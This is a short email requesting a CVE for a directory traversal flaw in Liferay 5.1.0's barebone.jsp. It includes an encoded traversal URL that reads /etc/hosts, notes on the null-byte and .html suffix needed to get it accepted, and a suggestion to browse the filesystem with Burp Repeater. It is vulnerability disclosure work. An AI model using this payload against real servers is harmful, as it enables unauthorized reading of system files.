Subject: CVE:Request - Path Traversal Barebone.jsp - Liferay

I discovered a /directory traversal issue /on *minifierBundleDir 
*/barebone.jsp /_variable___on a website with *Liferay 5.1.0*. I don't 
exclude that this vulnerability is present in other Liferay versions as 

However, i report the following vulnerable URL of example:*minifierBundleDir**=**/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E%2Fetc%2Fhosts%00.html*&t=1429132297000

It's important to note that the url requested is built in the following 
- only .. "encoded characters" are permitted when you insert the 
traversal request
- At the end of the file is necessary insert *%00* and *.html* otherwise 
the request is not accepted

So, to navigate filesystem is recommended to use Burp Suite "repeater 
tab" tool.

If there are no CVE about this finding, at this pourpose i require a CVE 

Thank you
